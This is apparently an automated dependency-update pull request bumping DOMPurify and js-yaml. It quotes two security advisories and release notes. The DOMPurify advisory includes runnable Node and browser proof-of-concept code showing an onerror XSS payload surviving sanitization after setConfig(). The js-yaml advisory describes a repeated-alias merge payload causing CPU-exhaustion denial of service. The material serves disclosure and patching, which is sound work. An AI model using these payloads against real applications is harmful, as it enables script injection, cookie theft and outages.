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fix(security): update vulnerability-updates [security]#1400

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fix(security): update vulnerability-updates [security]#1400
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renovate/vulnerability-updates

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This PR contains the following updates:

Package Change Age Confidence
dompurify 3.4.103.4.11 age confidence
js-yaml 4.1.14.2.0 age confidence

DOMPurify: Permanent ALLOWED_ATTR pollution via setConfig() bypassing the hook clone-guard (incomplete fix of the 3.4.7 hook-pollution patch)

GHSA-cmwh-pvxp-8882

More information

Details

Summary

DOMPurify 3.4.7 shipped a security fix ("permanent hook pollution") that makes a registered uponSanitizeAttribute hook's mutation of data.allowedAttributes non-persistent — so allowing an attribute for one element does not leak into later sanitize() calls. The fix clones ALLOWED_ATTR inside _parseConfig.

That guard is silently bypassed whenever the application uses the persistent-config API DOMPurify.setConfig(). setConfig() sets the module flag SET_CONFIG = true, which causes sanitize() to skip _parseConfig entirely — and the clone-guard lives inside _parseConfig. The hook is then handed the live, shared ALLOWED_ATTR object; any data.allowedAttributes[name] = true it writes mutates that shared object permanently, for the lifetime of the DOMPurify instance, across every subsequent call, and across all elements.

If an application uses setConfig() together with an uponSanitizeAttribute hook that conditionally allows a dangerous attribute (onerror, onclick, onmouseover, srcdoc, formaction, …) for "trusted" elements, then one trusted render permanently allows that attribute on untrusted, attacker-controlled content — yielding stored XSS in viewers' browsers. DOMPurify applies no separate /^on/ event-handler blocklist: attribute stripping is governed entirely by the allowlist, so a polluted allowlist is the only gate, and survival in the output is final.


Affected configuration (preconditions)

The vulnerability is triggered when an application does both:

  1. Calls DOMPurify.setConfig(...) once (the recommended pattern for a fixed, persistent policy), and
  2. Registers an uponSanitizeAttribute hook that writes data.allowedAttributes[name] = true to conditionally allow an attribute (e.g. only for elements bearing a trust marker).

This hook pattern is demonstrated in DOMPurify's own test suite, and the per-call variant of exactly this leak is what 3.4.7 was released to fix.


Root cause (source: src/purify.ts, v3.4.10)

The 3.4.7 clone-guard — only inside _parseConfig:

// src/purify.ts  _parseConfig()  (lines ~950-968)
// "if a hook is registered AND the set still points at the default constant, clone it.
//  The hook then mutates the clone ... and the next default-cfg call rebinds to the untouched original."
if ( ... && hooks.uponSanitizeAttribute.length > 0) {
  ALLOWED_TAGS = clone(ALLOWED_TAGS);          // line 961
}
if ( ... hooks.uponSanitizeAttribute.length > 0 ... ) {
  ALLOWED_ATTR = clone(ALLOWED_ATTR);          // line 968
}

sanitize() skips _parseConfig on the persistent-config path:

// src/purify.ts  DOMPurify.sanitize()  (line 2369)
if (!SET_CONFIG) {
  _parseConfig(cfg);          // <-- clone-guard lives in here; SKIPPED when SET_CONFIG is true
}

setConfig() sets the flag that disables the guard:

// src/purify.ts  (lines 2596-2598)
DOMPurify.setConfig = function (cfg = {}) {
  _parseConfig(cfg);
  SET_CONFIG = true;          // every later sanitize() now skips _parseConfig
};

The hook is handed the live allowlist binding, and there is no secondary event-handler defense:

// src/purify.ts (line 2088) — hook event exposes the shared object by reference
allowedAttributes: ALLOWED_ATTR,
// (line 2108) hooks.uponSanitizeAttribute executed; a write to data.allowedAttributes mutates ALLOWED_ATTR itself
// _isValidAttribute gates purely on ALLOWED_ATTR[lcName]; DOMPurify uses NO /^on/ blocklist by design.

Net: after setConfig(), the clone-guard never runs, so the hook's allowedAttributes mutation is a permanent write to the instance's shared ALLOWED_ATTR.


Proof of Concept

Environment: npm i dompurify@3.4.10 jsdom (Node; identical mechanism to isomorphic-dompurify, and to a browser instance).

PoC 1 — the leak (trusted render permanently allows onerror on attacker content)
const createDOMPurify = require('dompurify');
const { JSDOM } = require('jsdom');
const DP = createDOMPurify(new JSDOM('').window);

// App init: persistent policy + a hook that allows onerror ONLY for trusted, pre-vetted elements
DP.setConfig({ ALLOWED_TAGS: ['img'], ALLOWED_ATTR: ['src'] });
DP.addHook('uponSanitizeAttribute', (node, data) => {
  if (node.getAttribute && node.getAttribute('data-trusted') === '1') {
    data.allowedAttributes['onerror'] = true;        // intended: trusted-only
  }
});

// 1) A trusted widget is rendered once
DP.sanitize('<img data-trusted="1" src="x" onerror="loadWidget()">');

// 2) Later, ATTACKER-controlled content (NO data-trusted) is sanitized on the same instance
console.log(DP.sanitize('<img src="x" onerror="alert(document.cookie)">'));
// OUTPUT:  <img src="x" onerror="alert(document.cookie)">     <-- onerror SURVIVES -> XSS
PoC 2 — it is a DOMPurify state-leak, not "the app allowed on*" (attribute-agnostic)
// Same setConfig + hook shape, but the hook allows a BENIGN attribute (title).
// The leak is identical -> the defect is a shared-state mutation in DOMPurify,
// independent of which attribute the hook touches.
DP.setConfig({ ALLOWED_TAGS: ['span'], ALLOWED_ATTR: [] });
DP.addHook('uponSanitizeAttribute', (n, d) => {
  if (n.getAttribute && n.getAttribute('data-trusted') === '1') d.allowedAttributes['title'] = true;
});
DP.sanitize('<span data-trusted="1" title="ok">x</span>');
console.log(DP.sanitize('<span title="leaked">x</span>'));   // -> <span title="leaked">x</span>  (leaked)
PoC 3 — control: WITHOUT setConfig() the 3.4.7 guard holds
const DP2 = createDOMPurify(new JSDOM('').window);
DP2.addHook('uponSanitizeAttribute', (n, d) => {
  if (n.getAttribute && n.getAttribute('data-trusted') === '1') d.allowedAttributes['onerror'] = true;
});
DP2.sanitize('<img data-trusted="1" src="x" onerror="ok()">', { ALLOWED_TAGS: ['img'], ALLOWED_ATTR: ['src'] });
console.log(DP2.sanitize('<img src="x" onerror="alert(1)">', { ALLOWED_TAGS: ['img'], ALLOWED_ATTR: ['src'] }));
// OUTPUT:  <img src="x">     <-- onerror correctly STRIPPED. setConfig() is the trigger.
Persistence (observed)
  • The leak persists after removeAllHooks() — removing the hook does not clean the polluted allowlist.
  • It is global / cross-element — a polluted onmouseover survives on <a> and <div>, not only the originally-blessed <img>.
  • It persists for the instance lifetime (survived 5/5 subsequent default calls).
  • clearConfig() does restore a clean state (this is the bound of the impact).

Impact

Stored XSS. In a long-lived (e.g. server-side / isomorphic-dompurify) DOMPurify instance, a single trusted render flips a shared allowlist bit; every subsequent untrusted submission then inherits a live event-handler attribute and executes script in viewers' browsers. Because DOMPurify enforces no /^on/ blocklist, a surviving on* attribute is final — no secondary control prevents execution. onerror on a broken-src <img> fires with no user interaction (browser-confirmed; see Validation).

Per-call FORBID_ATTR does not mitigate. A defensive sanitize(input, { FORBID_ATTR: ['onerror'] }) is also ignored once setConfig() has been called: the per-call config is parsed by _parseConfig, which sanitize() skips entirely under SET_CONFIG. So an application cannot blunt the leak with a per-call denylist — the poisoned ALLOWED_ATTR is the sole gate.


Realistic attack scenario

A platform mixes admin-authored interactive widgets with user-generated content through one sanitizer instance:

  1. The app installs a persistent baseline policy via setConfig({ ALLOWED_TAGS: [...], ALLOWED_ATTR: [...] }).
  2. It registers an uponSanitizeAttribute hook that enables an event handler only for admin-vetted elements marked data-trusted="1", intending safe rich interactivity — a pattern the 3.4.7 fix was specifically meant to make safe.
  3. An admin renders one trusted widget. From that point on, every user-submitted comment/post containing <img src=x onerror=...> passes sanitization and executes for all viewers.

Remediation

Extend the existing clone-guard to the persistent-config (SET_CONFIG) fast-path: when sanitize() skips _parseConfig but an uponSanitizeAttribute hook is registered, clone the allowlists before the walk so hook mutations cannot persist — the exact analogue of the guard already present in _parseConfig.

// In DOMPurify.sanitize(), replacing the bare `if (!SET_CONFIG) { _parseConfig(cfg); }`:
if (!SET_CONFIG) {
  _parseConfig(cfg);
} else if (hooks.uponSanitizeAttribute.length > 0) {
  // Persistent-config path: _parseConfig (and its clone-guard) is skipped, so a hook would
  // otherwise mutate the shared ALLOWED_ATTR/ALLOWED_TAGS permanently. Clone per call.
  if (ALLOWED_ATTR === DEFAULT_ALLOWED_ATTR || ALLOWED_ATTR === currentSetConfigAttr) {
    ALLOWED_ATTR = clone(ALLOWED_ATTR);
  }
  if (ALLOWED_TAGS === DEFAULT_ALLOWED_TAGS || ALLOWED_TAGS === currentSetConfigTags) {
    ALLOWED_TAGS = clone(ALLOWED_TAGS);
  }
}

(Equivalently: in the hook-event builder at line ~2088, hand the hook a shallow clone of ALLOWED_ATTR/ALLOWED_TAGS whenever SET_CONFIG is true, mirroring the 3.4.7 intent.)

A regression test should reproduce PoC 1 and assert the attacker call returns <img src="x">. Note the existing 3.4.7 regression test ("unguarded attribute hook does not poison subsequent default-config calls") never exercises setConfig() — adding a setConfig variant closes the gap.

Application-side mitigation until patched: prefer data.keepAttr = true (per-element, non-persistent) over data.allowedAttributes[name] = true inside hooks; or call DOMPurify.clearConfig() between trust domains; or use separate DOMPurify instances for trusted vs. untrusted content.


Limitations
  • Requires the two-part precondition above (persistent setConfig() and a hook writing data.allowedAttributes[...]). Not a default-config bypass.
  • Impact is bounded by clearConfig(), which restores a clean state. The earlier-considered "survives clearConfig()" claim did not reproduce and is withdrawn.
  • A position could be adopted to "use data.keepAttr=true, not allowedAttributes[]." However, the 3.4.7 security fix exists precisely to defend the allowedAttributes[] hook pattern in the per-call path; leaving the setConfig path unguarded is an incomplete fix of an acknowledged security issue.
Validation
  • Integrity: the tested dompurify@3.4.10 dist/purify.cjs.js (md5 ab0e7b1cde1cbcace0f62b6aac284143) and browser dist/purify.min.js (md5 b0985f80fa48e6e7b263f8f6a64b779e) are byte-identical to a freshly npm pack-ed release — the repro is on the real shipped code. Mechanism identical on 3.4.0, 3.4.9 and 3.4.10.
  • Node (mechanism): PoCs 1–3 reproduce deterministically; DOMPurify.isValidAttribute('img','onerror','x') flips false → true after a single trusted render under setConfig(), proving the shared attribute gate is poisoned. Leak survives removeAllHooks(), is cross-element, persists for the instance lifetime, and is reset only by clearConfig().
  • Real browser (impact): in Chrome with DOMPurify 3.4.10, assigning the attacker output to innerHTML executes the surviving onerror (sentinel window.__fired = ["ATTACKER-onerror"]; onerror DOM property is a function), with no user interaction. The no-setConfig A/B control does not fire — execution is attributable to the setConfig leak, not a harness artifact.

Appendix A — Node PoC (complete, runnable)
// poc.js  —  npm i dompurify@3.4.10 jsdom  &&  node poc.js
const createDOMPurify = require('dompurify');
const { JSDOM } = require('jsdom');
const freshDP = () => createDOMPurify(new JSDOM('').window);
const log = (s) => console.log(s);
log('DOMPurify ' + freshDP().version + '\n');

// PoC 1 — the leak: trusted render permanently allows onerror on attacker content
{
  const DP = freshDP();
  DP.setConfig({ ALLOWED_TAGS: ['img'], ALLOWED_ATTR: ['src'] });
  DP.addHook('uponSanitizeAttribute', (node, data) => {
    if (node.getAttribute && node.getAttribute('data-trusted') === '1') {
      data.allowedAttributes['onerror'] = true;            // intended: trusted-only
    }
  });
  DP.sanitize('<img data-trusted="1" src="x" onerror="loadWidget()">');            // trusted render
  const attacker = DP.sanitize('<img src="x" onerror="alert(document.cookie)">');  // attacker, no data-trusted
  log('[PoC1] attacker output  : ' + attacker);
  log('[PoC1] onerror survived : ' + /onerror/.test(attacker));
  log('[PoC1] isValidAttribute(img,onerror) -> ' + DP.isValidAttribute('img','onerror','x') + '  (shared gate poisoned)\n');
}

// PoC 2 — attribute-agnostic: a DOMPurify state-leak, not "the app allowed on*"
{
  const DP = freshDP();
  DP.setConfig({ ALLOWED_TAGS: ['span'], ALLOWED_ATTR: [] });
  DP.addHook('uponSanitizeAttribute', (n, d) => {
    if (n.getAttribute && n.getAttribute('data-trusted') === '1') d.allowedAttributes['title'] = true;
  });
  DP.sanitize('<span data-trusted="1" title="ok">x</span>');
  log('[PoC2] benign title leaks: ' + DP.sanitize('<span title="leaked">x</span>') + '\n');
}

// PoC 3 — control: WITHOUT setConfig the 3.4.7 guard holds
{
  const DP = freshDP();
  DP.addHook('uponSanitizeAttribute', (n, d) => {
    if (n.getAttribute && n.getAttribute('data-trusted') === '1') d.allowedAttributes['onerror'] = true;
  });
  DP.sanitize('<img data-trusted="1" src="x" onerror="ok()">', { ALLOWED_TAGS:['img'], ALLOWED_ATTR:['src'] });
  const ctrl = DP.sanitize('<img src="x" onerror="alert(1)">', { ALLOWED_TAGS:['img'], ALLOWED_ATTR:['src'] });
  log('[PoC3] control output   : ' + ctrl + '   stripped: ' + !/onerror/.test(ctrl) + '\n');
}

// Persistence: survives removeAllHooks(); reset only by clearConfig()
{
  const DP = freshDP();
  DP.setConfig({ ALLOWED_TAGS: ['img'], ALLOWED_ATTR: ['src'] });
  DP.addHook('uponSanitizeAttribute', (n, d) => {
    if (n.getAttribute && n.getAttribute('data-trusted') === '1') d.allowedAttributes['onerror'] = true;
  });
  DP.sanitize('<img data-trusted="1" src="x" onerror="ok()">');
  DP.removeAllHooks();
  let leaks = 0;
  for (let i = 0; i < 5; i++) if (/onerror/.test(DP.sanitize('<img src="x" onerror="alert('+i+')">'))) leaks++;
  log('[persist] survived ' + leaks + '/5 calls after removeAllHooks()');
  DP.clearConfig();
  log('[persist] after clearConfig(): ' + DP.sanitize('<img src="x" onerror="alert(1)">') + '  (reset)');
}

Expected output:

[PoC1] attacker output  : <img src="x" onerror="alert(document.cookie)">
[PoC1] onerror survived : true
[PoC1] isValidAttribute(img,onerror) -> true  (shared gate poisoned)
[PoC2] benign title leaks: <span title="leaked">x</span>
[PoC3] control output   : <img src="x">   stripped: true
[persist] survived 5/5 calls after removeAllHooks()
[persist] after clearConfig(): <img src="x">  (reset)
Appendix B — Browser PoC (complete; confirms execution)
<!doctype html><html><head><meta charset="utf-8">
<script src="https://cdn.jsdelivr.net/npm/dompurify@3.4.10/dist/purify.min.js"></script>
</head><body><pre id="out"></pre>
<script>
const log = (s) => document.getElementById('out').textContent += s + '\n';
window.__fired = [];
window.alert = (x) => window.__fired.push('alert:' + x);   // sentinel: capture exec, no modal
log('DOMPurify ' + DOMPurify.version);

// App init: persistent policy + a hook allowing onerror ONLY for trusted elements
DOMPurify.setConfig({ ALLOWED_TAGS: ['img'], ALLOWED_ATTR: ['src'] });
DOMPurify.addHook('uponSanitizeAttribute', (node, data) => {
  if (node.getAttribute && node.getAttribute('data-trusted') === '1') data.allowedAttributes['onerror'] = true;
});

DOMPurify.sanitize('<img data-trusted="1" src="x" onerror="0">');                 // one trusted render
const out = DOMPurify.sanitize('<img src="x" onerror="alert(\'XSS:\'+document.domain)">');  // attacker
log('attacker sanitized output: ' + out);
const host = document.createElement('div');
host.innerHTML = out;                            // surviving onerror arms on the broken-src img
document.body.appendChild(host);

setTimeout(() => {
  log('handlers fired: ' + JSON.stringify(window.__fired));
  log(window.__fired.length ? 'RESULT: XSS EXECUTED' : 'RESULT: no execution');
}, 500);
</script></body></html>

Observed: handlers fired: ["alert:XSS:<domain>"]RESULT: XSS EXECUTED (no user interaction). The same harness without the setConfig() line strips onerror and does not fire.

Severity

  • CVSS Score: 5.1 / 10 (Medium)
  • Vector String: CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).


JS-YAML: Quadratic-complexity DoS in merge key handling via repeated aliases

CVE-2026-53550 / GHSA-h67p-54hq-rp68

More information

Details

Summary

A crafted YAML document can trigger algorithmic CPU exhaustion in js-yaml merge-key processing (<<) by repeating the same alias many times in a merge sequence.
This causes quadratic parse-time behavior relative to input size and can block a Node.js worker/event loop for seconds with a relatively small payload (tens of KB), resulting in denial of service.

Details

The issue is in merge handling inside lib/loader.js:

  • storeMappingPair(...) iterates every element of a merge sequence when key tag is tag:yaml.org,2002:merge.
  • For each element, it calls mergeMappings(...).
  • mergeMappings(...) computes Object.keys(source) and performs _hasOwnProperty.call(destination, key) checks for each key.

When input is of the form:

a: &a {k0:0, k1:0, ..., kK:0}
b: {<<: [*a, *a, *a, ... repeated M times ...]}
all *a entries refer to the same anchored object. After the first merge, subsequent merges are semantically no-ops, but the parser still reprocesses all keys each time.
Resulting work is O(K * M), while input size is O(K + M), giving quadratic scaling as payload grows.
Relevant code path:
lib/loader.js in storeMappingPair(...) merge branch (keyTag === 'tag:yaml.org,2002:merge')
lib/loader.js mergeMappings(...)

Root cause

File: lib/loader.js
Function: storeMappingPair(state, _result, overridableKeys, keyTag, keyNode,
valueNode, startLine, startLineStart, startPos)
Lines: ~359-366

if (keyTag === 'tag:yaml.org,2002:merge') {
  if (Array.isArray(valueNode)) {
    for (index = 0, quantity = valueNode.length; index < quantity; index += 1) {
      mergeMappings(state, _result, valueNode[index], overridableKeys);
    }
  } else {
    mergeMappings(state, _result, valueNode, overridableKeys);
  }
}

When the merge value is a sequence (YAML 1.1 <<: [ *a, *a, ... ]), each element
is handed to mergeMappings() without deduplication. mergeMappings() then does

sourceKeys = Object.keys(source);
for (index = 0; index < sourceKeys.length; index += 1) {
  key = sourceKeys[index];
  if (!_hasOwnProperty.call(destination, key)) {
    setProperty(destination, key, source[key]);
    overridableKeys[key] = true;
  }
}

Every alias reference in the sequence resolves (by design) to the SAME object
via state.anchorMap. After the first merge, every subsequent merge of that same
reference is a pure no-op semantically, but still performs:

  • one Object.keys(source) call (O(K))
  • K _hasOwnProperty.call checks on the destination

Total: M * K hasOwnProperty checks + M Object.keys allocations, while the final
object and all observable side effects are identical to a single merge.

YAML semantics for <<: are idempotent and commutative over duplicate sources,
so collapsing duplicates preserves behavior exactly; this isn't a spec trade-off.

PoC

Environment:
js-yaml version: 4.1.1
Node.js: v24.5.0
Platform: arm64 macOS (reproduced consistently)
Reproduction script:
Create many keys in one anchored map (&a).
Merge that same alias repeatedly via <<: [*a, *a, ...].
Measure parse time and compare with control payload using single merge (<<: *a).
Observed repeated runs (same machine):
K=M=1000, input 9,909 bytes: ~33–36 ms
K=M=2000, input 20,909 bytes: ~121–123 ms
K=M=4000, input 42,909 bytes: ~524–537 ms
K=M=6000, input 64,909 bytes: ~1,608–1,829 ms
K=M=8000, input 86,909 bytes: ~3,395–3,565 ms
Control (single merge, similar key counts):
K=2000: ~1–2 ms
K=4000: ~3 ms
K=8000: ~5 ms
Also verified: repeated-merge output equals single-merge output (same key count and same JSON), confirming excess time is redundant computation.

Impact

This is a denial-of-service vulnerability (CPU exhaustion / algorithmic complexity).
Any service parsing untrusted YAML with js-yaml can be impacted, including API backends, CI tools, config processors, and automation services. An attacker can submit crafted YAML to significantly increase CPU time and reduce availability.

Suggested fix:

Dedupe the merge source list by reference before invoking mergeMappings. Any of
the following are minimal and preserve YAML 1.1 merge semantics:

dedupe in storeMappingPair:

if (keyTag === 'tag:yaml.org,2002:merge') {
  if (Array.isArray(valueNode)) {
    var seen = new Set();
    for (index = 0, quantity = valueNode.length; index < quantity; index += 1) {
      var src = valueNode[index];
      if (seen.has(src)) continue;   // idempotent; skip redundant alias
      seen.add(src);
      mergeMappings(state, _result, src, overridableKeys);
    }
  } else {
    mergeMappings(state, _result, valueNode, overridableKeys);
  }
}

Severity

  • CVSS Score: 5.3 / 10 (Medium)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).


Release Notes

cure53/DOMPurify (dompurify)

v3.4.11: DOMPurify 3.4.11

Compare Source

  • Fixed an issue with a leaky config for hooks via setConfig, thanks @​trace37labs
  • Bumped vulnerable development dependencies to arrive at plain 0 with npm audit
  • Updated the osv-scanner suppression list as no vulnerable dependencies are left for now
  • Updated up the linting tool-chain and removed now-redundant lint directives
  • Updated the documentation is several spots, README, wiki, etc.
  • Bumped several dependencies where possible
nodeca/js-yaml (js-yaml)

v4.2.0

Compare Source

Added
  • Added docs/safety.md with notes about processing untrusted YAML.
  • Added maxDepth (100) loader option. Not a problem, but gives a better
    exception instead of RangeError on stack overflow.
  • Added maxMergeSeqLength (20) loader option. Not a problem after merge fix,
    but an additional restriction for safety.
  • Added sourcemaps to dist/ builds.
Changed
  • Stop resolving numbers with underscores as numeric scalars, #​627.
  • Switched dev toolchains to Vite / neostandard.
  • Updated demo.
  • Reorganized tests.
  • dist/ files are no longer kept in the repository.
Fixed
  • Fix parsing of properties on the first implicit block mapping key, #​62.
  • Fix trailing whitespace handling when folding flow scalar lines, #​307.
  • Reject top-level block scalars without content indentation, #​280.
  • Ensure numbers survive round-trip, #​737.
  • Fix test coverage for issue #​221.
  • Fix flow scalar trailing whitespace folding, #​307.
  • Fix digits in YAML named tag handles.
Security
  • Fix potential DoS via quadratic complexity in merge - deduplicate repeated
    elements (makes sense for malformed files > 10K).

Configuration

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